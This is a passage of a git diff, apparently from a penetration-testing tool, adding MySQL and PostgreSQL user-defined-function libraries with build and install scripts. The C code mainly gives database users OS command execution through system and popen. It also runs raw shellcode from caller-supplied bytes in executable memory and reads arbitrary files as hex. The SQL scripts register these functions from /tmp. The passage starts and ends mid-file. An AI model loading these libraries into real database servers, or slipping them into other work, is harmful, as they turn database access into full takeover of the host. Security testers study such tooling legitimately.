name/value pairs + * which are then set as environment variables. + * Use sys_get to retrieve the value of such a variable + */ +DLLEXP +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_set_deinit( + UDF_INIT *initid +); + +DLLEXP +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_exec + * + * executes the argument commandstring and returns its exit status. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_exec_deinit( + UDF_INIT *initid +); + +DLLEXP +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_eval + * + * executes the argument commandstring and returns its standard output. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_eval_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + + +#ifdef __cplusplus +} +#endif + +/** + * lib_mysqludf_sys_info + */ +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + my_bool status; + if(args->arg_count!=0){ + strcpy( + message + , "No arguments allowed (udf: lib_mysqludf_sys_info)" + ); + status = 1; + } else { + status = 0; + } + return status; +} + +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +){ +} + +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + strcpy(result,LIBVERSION); + *length = strlen(LIBVERSION); + return result; +} + +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count==1 + && args->arg_type[0]==STRING_RESULT){ + initid->maybe_null = 1; + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_get_deinit( + UDF_INIT *initid +){ +} + +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + char* value = getenv(args->args[0]); + if(value == NULL){ + *is_null = 1; + } else { + *length = strlen(value); + } + return value; +} + +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count!=2){ + strcpy( + message + , "Expected exactly two arguments" + ); + return 1; + } + if(args->arg_type[0]!=STRING_RESULT){ + strcpy( + message + , "Expected string type for name parameter" + ); + return 1; + } + args->arg_type[1]=STRING_RESULT; + if((initid->ptr=malloc( + args->lengths[0] + + 1 + + args->lengths[1] + + 1 + ))==NULL){ + strcpy( + message + , "Could not allocate memory" + ); + return 1; + } + return 0; +} + +void sys_set_deinit( + UDF_INIT *initid +){ + if (initid->ptr!=NULL){ + free(initid->ptr); + } +} + +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + char *name = initid->ptr; + char *value = name + args->lengths[0] + 1; + memcpy( + name + , args->args[0] + , args->lengths[0] + ); + *(name + args->lengths[0]) = '\0'; + memcpy( + value + , args->args[1] + , args->lengths[1] + ); + *(value + args->lengths[1]) = '\0'; + return SETENV(name,value); +} + +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_exec_deinit( + UDF_INIT *initid +){ +} + +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + return system(args->args[0]); +} + +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_eval_deinit( + UDF_INIT *initid +){ +} + +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + FILE *pipe; + char *line; + unsigned long outlen, linelen; + + line = (char *)malloc(1024); + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(args->args[0], "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (!(*result) || result == NULL) { + *is_null = 1; + } else { + result[outlen-1] = 0x00; + *length = strlen(result); + } + + return result; +} + +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} + +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = strlen(args->args[0]); + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql new file mode 100644 index 000000000..3412d939e --- /dev/null +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql @@ -0,0 +1,35 @@ +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: roland.bouman@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; +DROP FUNCTION IF EXISTS sys_get; +DROP FUNCTION IF EXISTS sys_set; +DROP FUNCTION IF EXISTS sys_exec; +DROP FUNCTION IF EXISTS sys_eval; +DROP FUNCTION IF EXISTS sys_bineval; + +CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so'; diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile b/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile new file mode 100644 index 000000000..4a9e428f1 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile @@ -0,0 +1,16 @@ +LIBDIR=/tmp + +8.4: + gcc-4.2 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so + strip -sx lib_postgresqludf_sys.so + cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so + +8.3: + gcc-4.2 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so + strip -sx lib_postgresqludf_sys.so + cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so + +8.2: + gcc-4.2 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so + strip -sx lib_postgresqludf_sys.so + cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh b/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh new file mode 100755 index 000000000..1d7530638 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh @@ -0,0 +1,59 @@ +#!/bin/bash +# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions +# Copyright (C) 2009-2010 Bernardo Damele A. G. +# web: http://bernardodamele.blogspot.com/ +# email: bernardo.damele@gmail.com +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +# Adapt the following settings to your environment +USER="postgres" +PORT="5434" +VERSION="8.4" +#PORT="5433" +#VERSION="8.3" +#PORT="5432" +#VERSION="8.2" + +echo "Compiling the PostgreSQL UDF" +make ${VERSION} + +if test $? -ne 0; then + echo "ERROR: You need postgresql-server development software installed" + echo "to be able to compile this UDF, on Debian/Ubuntu just run:" + + if test "${VERSION}" == "8.2"; then + echo "apt-get install postgresql-server-dev-8.2" + elif test "${VERSION}" == "8.3"; then + echo "apt-get install postgresql-server-dev-8.3" + elif test "${VERSION}" == "8.4"; then + echo "apt-get install postgresql-server-dev-8.4" + fi + + exit 1 +else + echo "PostgreSQL UDF compiled successfully" +fi + +echo -e "\nPlease provide your PostgreSQL 'postgres' user's password" + +psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql + +if test $? -ne 0; then + echo "ERROR: unable to install the UDF" + exit 1 +else + echo "PostgreSQL UDF installed successfully" +fi diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c new file mode 100644 index 000000000..dc27adb88 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -0,0 +1,275 @@ +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009-2010 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#include +#include +#include +#include +#endif + +#include +#include +#include +#include + +#include + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +char *text_ptr_to_char_ptr(text *arg) +{ + char *retVal; + int arg_size = VARSIZE(arg) - VARHDRSZ; + retVal = (char *)malloc(arg_size + 1); + + memcpy(retVal, VARDATA(arg), arg_size); + retVal[arg_size] = '\0'; + + return retVal; +} + +text *chr_ptr_to_text_ptr(char *arg) +{ + text *retVal; + + retVal = (text *)malloc(VARHDRSZ + strlen(arg)); +#ifdef SET_VARSIZE + SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); +#else + VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; +#endif + memcpy(VARDATA(retVal), arg, strlen(arg)); + + return retVal; +} + +PG_FUNCTION_INFO_V1(sys_exec); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 result = 0; + char *command; + + command = text_ptr_to_char_ptr(argv0); + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + char *command; + char *result; + FILE *pipe; + char *line; + int32 outlen, linelen; + + command = text_ptr_to_char_ptr(argv0); + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + line = (char *)malloc(1024); + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(command, "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = (char *)realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (*result) { + result[outlen-1] = 0x00; + } + + result_text = chr_ptr_to_text_ptr(result); + + PG_RETURN_POINTER(result_text); +} + +PG_FUNCTION_INFO_V1(sys_bineval); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, VARDATA(argv0), len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + PG_RETURN_INT32(1); + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + PG_RETURN_INT32(1); + + strncpy((char *)addr, VARDATA(argv0), len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + PG_RETURN_INT32(0); +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#undef fopen + +PG_FUNCTION_INFO_V1(sys_fileread); +#ifdef PGDLLIMPORT +extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#else +extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { +#endif + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 len; + int32 i, j; + char *filename; + char *result; + char *buffer; + char table[] = "0123456789ABCDEF"; + FILE *file; + + filename = text_ptr_to_char_ptr(argv0); + + file = fopen(filename, "rb"); + if (!file) + { + PG_RETURN_NULL(); + } + fseek(file, 0, SEEK_END); + len = ftell(file); + fseek(file, 0, SEEK_SET); + + buffer=(char *)malloc(len + 1); + if (!buffer) + { + fclose(file); + PG_RETURN_NULL(); + } + + fread(buffer, len, 1, file); + fclose(file); + + result = (char *)malloc(2*len + 1); + for (i=0, j=0; i> 4) & 0x0f]; + result[j++] = table[ buffer[i] & 0x0f]; + } + result[j] = '\0'; + + result_text = chr_ptr_to_text_ptr(result); + + free(result); + free(buffer); + free(filename); + + PG_RETURN_POINTER(result_text); +} diff --git a/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql new file mode 100644 index 000000000..61cbb8c04 --- /dev/null +++ b/extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql @@ -0,0 +1,25 @@ +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009-2010 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln new file mode 100644 index 0000000000000000000000000000000000000000..40795116160b2310b955457d1f7a450c7613b122 GIT binary patch literal 898 zcmbV~K~KUk6vxl&r)cH{16#VS;CAq^bwdwoh)eWhLI&$dO<8f>h(!5h9{fmt1xsYe zfGFYA^!;Do`@R3`*T*NgW#d9fk(Ka)$tvM6E~}IY7zYv?m>7XYT!Ub* zhb`B3+>7o~2T`7``M?zyql5$P=ZqDy8m?83PDGxuNmV4P=zu3>rc974RyAs!1T-zA zqiXX0$a2S4+SW~J_mtB_(v8}<15L3sdhepFLH{5TvfM&B&I5Cc(e%~Ob4s$w9{UN! zf{O9fM5mT&xYHnOD9YC(*&5HxU%E#8|25POt98t1Q8Ieq7hJP+^C|8`N|gtF|0a$O JRNrhJd;_$18kGP5 literal 0 HcmV?d00001 diff --git a/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c new file mode 100644 index 000000000..610d29171 --- /dev/null +++ b/extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -0,0 +1,564 @@ +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: mysqludfs@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define DLLEXP __declspec(dllexport) +#else +#define DLLEXP +#include +#include +#include +#endif + +#ifdef STANDARD +#include +#include +#include +#ifdef __WIN__ +typedef unsigned __int64 ulonglong; +typedef __int64 longlong; +#else +typedef unsigned long long ulonglong; +typedef long long longlong; +#endif /*__WIN__*/ +#else +#include +#include +#endif +#include +#include +#include +#include + +#include + +#ifdef HAVE_DLOPEN +#ifdef __cplusplus +extern "C" { +#endif + +#define LIBVERSION "lib_mysqludf_sys version 0.0.3" + +#ifdef __WIN__ +#define SETENV(name,value) SetEnvironmentVariable(name,value); +#else +#define SETENV(name,value) setenv(name,value,1); +#endif + +DLLEXP +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +); + +DLLEXP +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_get + * + * Gets the value of the specified environment variable. + */ +DLLEXP +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_get_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_set + * + * Sets the value of the environment variables. + * This function accepts a set of name/value pairs + * which are then set as environment variables. + * Use sys_get to retrieve the value of such a variable + */ +DLLEXP +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_set_deinit( + UDF_INIT *initid +); + +DLLEXP +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_exec + * + * executes the argument commandstring and returns its exit status. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_exec_deinit( + UDF_INIT *initid +); + +DLLEXP +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_eval + * + * executes the argument commandstring and returns its standard output. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_eval_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + + +#ifdef __cplusplus +} +#endif + +/** + * lib_mysqludf_sys_info + */ +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + my_bool status; + if(args->arg_count!=0){ + strcpy( + message + , "No arguments allowed (udf: lib_mysqludf_sys_info)" + ); + status = 1; + } else { + status = 0; + } + return status; +} + +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +){ +} + +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + strcpy(result,LIBVERSION); + *length = strlen(LIBVERSION); + return result; +} + +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count==1 + && args->arg_type[0]==STRING_RESULT){ + initid->maybe_null = 1; + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_get_deinit( + UDF_INIT *initid +){ +} + +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + char* value = getenv(args->args[0]); + if(value == NULL){ + *is_null = 1; + } else { + *length = strlen(value); + } + return value; +} + +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count!=2){ + strcpy( + message + , "Expected exactly two arguments" + ); + return 1; + } + if(args->arg_type[0]!=STRING_RESULT){ + strcpy( + message + , "Expected string type for name parameter" + ); + return 1; + } + args->arg_type[1]=STRING_RESULT; + if((initid->ptr=malloc( + args->lengths[0] + + 1 + + args->lengths[1] + + 1 + ))==NULL){ + strcpy( + message + , "Could not allocate memory" + ); + return 1; + } + return 0; +} + +void sys_set_deinit( + UDF_INIT *initid +){ + if (initid->ptr!=NULL){ + free(initid->ptr); + } +} + +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + char *name = initid->ptr; + char *value = name + args->lengths[0] + 1; + memcpy( + name + , args->args[0] + , args->lengths[0] + ); + *(name + args->lengths[0]) = '\0'; + memcpy( + value + , args->args[1] + , args->lengths[1] + ); + *(value + args->lengths[1]) = '\0'; + return SETENV(name,value); +} + +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_exec_deinit( + UDF_INIT *initid +){ +} + +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + return system(args->args[0]); +} + +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_eval_deinit( + UDF_INIT *initid +){ +} + +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + FILE *pipe; + char line[1024]; + unsigned long outlen, linelen; + + result = malloc(1); + outlen = 0; + + pipe = popen(args->args[0], "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (!(*result) || result == NULL) { + *is_null = 1; + } else { + result[outlen-1] = 0x00; + *length = strlen(result); + } + + return result; +} + +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} + +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + len = (size_t)strlen(args->args[0]); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || 